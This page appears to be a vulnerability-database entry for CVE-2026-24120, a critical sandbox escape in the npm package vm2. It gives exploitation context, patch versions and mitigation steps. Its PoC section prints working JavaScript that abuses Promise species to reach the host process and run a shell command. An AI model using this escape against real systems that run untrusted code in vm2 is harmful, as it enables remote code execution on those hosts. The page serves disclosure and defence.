CVE-2026-24120 — vm2
CRITICALCVE-2026-24120 is a critical-severity (CVSS 9.8) Code Injection vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: Sandbox Breakout Through Promise Species
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24120.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.
PoC
The following code demonstrates this issue by aquiring the host process object and executing touch pwned.
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
const e = new Error();
e.name = Symbol();
return e.stack;
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.10.5npm install vm2@3.10.5 |
Affected Products
vm2vm2_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.10.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24120 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Important flaw in vm2 allows for arbitrary code execution through a sandbox escape. Red Hat products are not affected by this vulnerability, as the component is either not present or the vulnerable code cannot be controlled by an adversary in Red Hat's supported configurations. Red Hat Developer Hub is not…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-24120 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-24120 in your dependencies?
Find it across npm, including transitive dependencies.